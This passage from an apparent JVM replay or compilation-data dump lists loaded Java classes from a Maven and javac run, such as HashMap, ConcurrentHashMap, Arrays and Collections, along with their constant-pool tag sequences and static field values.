org/apache/maven/project/DefaultProjectBuilder$1\ninstanceKlass java/util/Collections$SingletonMap\ninstanceKlass org/eclipse/sisu/wire/EntryMapAdapter\ninstanceKlass com/google/common/collect/Maps$ViewCachingAbstractMap\ninstanceKlass com/google/common/collect/MapMakerInternalMap\ninstanceKlass org/eclipse/sisu/wire/MergedProperties\ninstanceKlass com/google/common/cache/LocalCache\ninstanceKlass java/util/EnumMap\ninstanceKlass java/util/TreeMap\ninstanceKlass java/util/IdentityHashMap\ninstanceKlass java/util/WeakHashMap\ninstanceKlass java/util/ImmutableCollections$AbstractImmutableMap\ninstanceKlass java/util/Collections$EmptyMap\ninstanceKlass sun/util/PreHashedMap\ninstanceKlass java/util/concurrent/ConcurrentHashMap\ninstanceKlass java/util/HashMap\nciInstanceKlass java/util/AbstractMap 1 1 192 10 10 11 10 11 11 11 7 11 10 11 100 10 11 11 10 11 9 7 10 9 7 10 7 11 11 11 100 100 11 8 7 10 10 8 10 10 10 7 7 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 100 100 12 12 12 12 12 12 1 12 12 12 1 12 12 12 12 1 12 12 1 1 12 12 1 1 12 1 1 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass com/sun/tools/javac/comp/CompileStates\ninstanceKlass org/apache/maven/artifact/versioning/ManagedVersionMap\ninstanceKlass java/lang/ProcessEnvironment\ninstanceKlass java/util/LinkedHashMap\nciInstanceKlass java/util/HashMap 1 1 573 10 100 10 100 10 100 11 11 11 10 7 3 10 100 100 10 8 10 10 10 10 10 8 10 9 10 9 4 10 10 11 9 4 10 11 11 11 11 7 11 11 10 10 9 10 9 9 9 10 9 7 10 10 10 10 10 9 10 7 3 7 10 10 9 9 10 10 10 10 9 7 10 9 7 10 9 7 10 100 10 11 100 10 11 11 10 100 100 10 10 10 10 10 10 10 100 10 10 8 4 10 4 10 4 10 100 11 10 10 10 10 7 7 100 100 1 1 100 1 100 1 100 1 100 1 100 1 100 1 100 1 100 1 1 1 1 1 1 1 1 5 0 1 1 3 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 1 12 1 12 1 12 12 12 12 1 12 1 1 1 12 12 12 12 7 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 1 12 12 1 12 1 1 12 1 12 12 12 1 1 12 12 12 12 12 12 12 1 12 1 100 12 12 100 12 1 100 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/concurrent/ConcurrentHashMap 1 1 1210 7 7 3 10 3 100 10 100 10 100 11 11 11 9 9 9 10 7 10 10 10 4 10 9 10 100 10 5 0 10 10 5 0 10 10 9 10 9 9 10 9 10 9 10 100 10 7 10 10 10 10 10 10 10 100 10 7 100 8 10 10 10 11 10 11 11 11 11 7 11 11 10 10 9 10 9 10 9 10 5 0 9 7 10 9 7 10 9 7 10 7 10 10 8 10 10 7 11 100 10 10 8 10 8 10 8 10 10 10 10 10 100 10 9 9 10 9 11 11 100 10 11 10 11 10 100 10 100 10 10 9 10 3 10 9 10 9 9 10 10 9 9 10 10 3 9 9 10 7 9 3 9 100 10 9 10 9 7 10 9 10 100 10 100 5 0 10 100 10 10 10 100 10 10 100 100 10 10 10 100 10 10 100 10 10 100 10 100 10 10 10 100 10 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 10 10 10 7 7 10 9 9 10 8 10 8 8 8 8 7 10 10 100 8 10 7 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 100 1 100 1 100 1 100 1 100 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 3 1 3 1 1 1 1 3 1 3 1 3 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 1 12 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 12 1 1 1 12 12 12 12 12 12 7 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 1 1 12 1 12 12 1 1 12 12 12 12 12 12 12 12 12 1 12 12 12 12 7 12 12 1 1 12 100 12 12 12 1 12 1 7 12 12 100 12 12 12 12 12 12 100 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 1 12 12 100 12 12 1 100 12 1 12 12 12 1 12 1 1 12 1 12 1 12 1 12 1 12 12 1 12 12 1 12 1 12 1 12 1 12 1 12 1 12 1 12 1 12 1 1 1 1 12 1 12 1 12 1 12 1 12 1 1 1 1 12 1 12 1 12 1 12 1 12 12 7 12 12 1 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/concurrent/ConcurrentHashMap NCPU I 16\nstaticfield java/util/concurrent/ConcurrentHashMap serialPersistentFields [Ljava/io/ObjectStreamField; 3 [Ljava/io/ObjectStreamField;\nstaticfield java/util/concurrent/ConcurrentHashMap U Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\nstaticfield java/util/concurrent/ConcurrentHashMap SIZECTL J 20\nstaticfield java/util/concurrent/ConcurrentHashMap TRANSFERINDEX J 32\nstaticfield java/util/concurrent/ConcurrentHashMap BASECOUNT J 24\nstaticfield java/util/concurrent/ConcurrentHashMap CELLSBUSY J 36\nstaticfield java/util/concurrent/ConcurrentHashMap CELLVALUE J 144\nstaticfield java/util/concurrent/ConcurrentHashMap ABASE I 16\nstaticfield java/util/concurrent/ConcurrentHashMap ASHIFT I 2\ninstanceKlass java/util/concurrent/ConcurrentHashMap$ForwardingNode\ninstanceKlass java/util/concurrent/ConcurrentHashMap$ReservationNode\nciInstanceKlass java/util/concurrent/ConcurrentHashMap$Node 1 1 97 10 9 9 9 10 9 10 10 100 10 100 11 11 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 12 12 100 12 1 100 1 12 12 12 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/StringLatin1 1 1 314 7 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 9 10 10 10 10 10 10 10 100 10 10 10 8 8 8 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 8 10 100 10 10 10 10 10 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 7 12 12 7 12 12 7 12 12 12 12 12 7 12 12 12 12 12 12 12 12 1 12 12 1 1 1 12 100 12 12 1 12 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Arrays 1 1 1057 10 100 100 10 8 10 10 8 8 10 10 100 10 10 10 10 10 10 10 10 10 7 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 9 10 100 10 10 10 100 10 10 7 9 10 10 10 10 10 10 7 11 10 10 10 10 10 10 10 10 11 10 100 10 10 100 10 10 100 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 10 8 7 10 10 10 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 100 10 10 9 100 10 10 10 10 10 10 10 10 10 10 10 8 8 10 10 8 10 10 10 10 100 3 10 100 10 10 11 10 10 10 10 10 10 10 10 10 11 8 10 11 11 11 11 18 11 11 18 11 18 11 18 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 1 1 1 7 1 100 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 1 12 12 1 1 12 12 1 12 7 12 12 12 12 12 12 12 12 1 100 12 100 1 1 1 12 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 12 7 12 100 1 1 12 12 7 12 12 12 12 7 12 100 12 12 12 12 1 12 12 7 12 12 12 100 12 12 12 12 7 12 100 1 1 12 1 1 12 1 1 12 1 1 12 12 12 12 12 12 12 100 12 12 100 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 12 12 12 12 100 12 12 12 100 12 100 12 100 12 100 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 1 12 12 12 100 12 1 1 12 100 12 12 12 12 12 12 12 12 12 12 12 1 12 7 12 100 12 12 1 15 16 15 12 12 100 12 15 12 100 12 15 12 100 12 15 12 1 7 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 10 1 1 1 1 10 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/util/Arrays $assertionsDisabled Z 1\nciInstanceKlass java/lang/Math 1 1 381 10 10 10 10 10 10 10 7 6 0 6 0 10 10 10 10 10 10 10 10 10 10 10 10 100 3 3 3 10 100 5 0 5 0 5 0 5 0 5 0 9 10 100 8 10 8 10 10 100 5 0 5 0 100 3 5 0 3 5 0 10 10 10 9 9 10 7 6 0 10 9 100 10 10 100 10 10 10 10 10 10 6 0 10 10 10 10 7 4 10 10 10 10 10 10 10 10 10 10 10 5 0 6 0 4 6 0 4 6 0 4 10 9 10 9 10 4 6 0 100 100 1 1 1 1 1 6 0 1 6 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 1 1 12 1 12 12 1 1 12 12 12 12 12 12 1 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Math negativeZeroFloatBits J -2147483648\nstaticfield java/lang/Math negativeZeroDoubleBits J -9223372036854775808\nstaticfield java/lang/Math $assertionsDisabled Z 1\nciInstanceKlass java/lang/StringUTF16 1 1 532 100 7 10 100 10 7 3 100 100 10 8 10 10 8 10 10 9 10 100 8 10 9 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 7 3 10 10 10 10 10 10 10 9 10 10 10 10 100 10 10 10 10 10 8 8 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 8 10 100 10 10 10 10 11 10 10 10 9 9 5 0 5 0 10 10 10 10 10 100 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 1 1 1 12 12 1 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 7 12 7 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 7 12 12 1 1 1 12 12 12 12 100 12 12 12 12 12 12 12 12 7 12 12 12 12 1 12 1 12 100 12 12 12 7 12 12 12 12 12 12 12 12 12 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/StringUTF16 HI_BYTE_SHIFT I 0\nstaticfield java/lang/StringUTF16 LO_BYTE_SHIFT I 8\nstaticfield java/lang/StringUTF16 $assertionsDisabled Z 1\nciInstanceKlass java/util/Collections 1 1 847 10 11 7 11 7 10 10 11 7 11 11 10 11 11 11 10 10 10 11 10 11 11 9 100 10 10 10 11 10 11 100 8 10 11 11 11 10 10 10 10 11 10 10 10 7 10 7 10 100 10 100 10 7 10 7 10 7 10 7 10 100 10 100 10 10 7 10 10 100 10 100 10 7 10 100 10 10 10 7 10 100 10 100 10 100 10 10 100 100 10 100 10 100 10 100 10 100 10 100 10 100 10 100 10 100 10 9 9 9 9 9 9 9 9 7 10 7 10 7 10 7 10 7 10 100 100 10 8 10 10 10 10 100 10 9 9 100 9 10 7 10 7 10 11 11 10 7 11 11 11 7 10 100 10 100 10 7 10 7 10 7 10 7 1 1 1 1 7 1 1 1 1 1 1 1 1 7 1 100 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 100 100 100 100 100 100 100 100 100 12 12 1 12 1 12 12 12 1 12 12 12 12 12 12 12 12 12 100 12 12 12 12 12 1 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 1 12 1 12 1 12 1 1 12 1 12 1 12 1 12 1 12 1 1 1 1 12 1 1 1 1 12 100 12 1 12 1 12 1 12 1 12 1 12 1 1 12 1 12 1 12 12 12 12 12 12 12 12 12 1 12 1 1 1 1 12 1 1 1 12 12 12 1 12 12 100 12 1 12 12 1 1 7 12 12 12 1 12 1 1 100 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/Collections EMPTY_SET Ljava/util/Set; java/util/Collections$EmptySet\nstaticfield java/util/Collections EMPTY_LIST Ljava/util/List; java/util/Collections$EmptyList\nstaticfield java/util/Collections EMPTY_MAP Ljava/util/Map; java/util/Collections$EmptyMap\nciInstanceKlass java/util/RandomAccess 1 0 7 100 100 1 1 1 1\nciInstanceKlass java/util/List 1 1 212 10 11 11 11 11 11 11 10 7 100 10 100 10 10 7 10 10 7 7 10 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 100 12 12 12 100 12 1 100 1 1 1 12 1 7 12 7 12 1 1 12 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass com/sun/tools/javac/model/FilteredMemberList\ninstanceKlass org/eclipse/aether/util/graph/visitor/Stack\ninstanceKlass org/apache/maven/model/merge/ModelMerger$MergingList\ninstanceKlass sun/security/jca/ProviderList$3\ninstanceKlass com/google/common/collect/Lists$TransformingRandomAccessList\ninstanceKlass java/util/Collections$SingletonList\ninstanceKlass java/util/ArrayList$SubList\ninstanceKlass java/util/AbstractSequentialList\ninstanceKlass java/util/Arrays$ArrayList\ninstanceKlass java/util/Vector\ninstanceKlass java/util/ArrayList\ninstanceKlass java/util/Collections$EmptyList\nciInstanceKlass java/util/AbstractList 1 1 218 10 9 10 10 100 10 10 11 11 11 10 10 11 11 11 10 10 11 11 11 7 10 7 10 10 100 100 10 100 10 100 100 10 8 10 10 10 10 8 100 8 8 8 10 100 11 10 10 11 10 8 8 7 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 1 12 1 12 12 1 1 12 1 1 1 1 12 12 12 12 1 1 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Collections$EmptyList 1 1 150 10 10 10 11 7 100 100 10 8 10 10 10 10 100 11 10 10 9 100 7 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 100 12 1 1 1 1 12 12 12 12 1 100 12 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Collections$EmptyMap 1 1 125 10 10 7 11 10 100 10 9 100 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 1 12 100 12 1 12 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Iterator 1 1 53 100 8 10 10 11 11 11 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 12 7 12 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/lang/Integer$IntegerCache 1 1 82 10 7 10 9 8 10 10 10 7 3 10 100 9 9 10 100 10 100 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 12 1 7 12 12 1 7 12 12 100 12 1 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Integer$IntegerCache high I 127\nstaticfield java/lang/Integer$IntegerCache cache [Ljava/lang/Integer; 256 [Ljava/lang/Integer;\nstaticfield java/lang/Integer$IntegerCache $assertionsDisabled Z 1\nciInstanceKlass java/lang/CharacterDataLatin1 1 1 125 9 9 10 10 3 3 3 10 9 100 3 3 9 10 7 10 9 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 12 12 12 12 12 12 1 12 12 1 12 1\nstaticfield java/lang/CharacterDataLatin1 DIGITS [B 256\nstaticfield java/lang/CharacterDataLatin1 instance Ljava/lang/CharacterDataLatin1; java/lang/CharacterDataLatin1\nstaticfield java/lang/CharacterDataLatin1 A [I 256\nstaticfield java/lang/CharacterDataLatin1 B [C 256\nciInstanceKlass java/lang/module/ModuleDescriptor 1 1 529 10 9 100 10 9 9 9 10 9 9 11 9 9 9 11 18 11 11 11 11 9 9 9 9 9 9 9 9 10 10 10 100 10 10 10 8 10 10 10 10 10 10 10 10 7 10 11 10 10 10 11 10 8 8 10 11 8 8 8 8 8 8 7 10 100 8 10 7 10 11 11 10 100 10 10 10 11 10 11 11 11 11 100 11 11 10 10 10 10 10 10 8 10 18 11 11 8 10 11 7 100 11 11 10 10 11 100 10 10 10 9 10 10 7 10 10 7 1 1 100 1 7 1 7 1 7 1 7 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 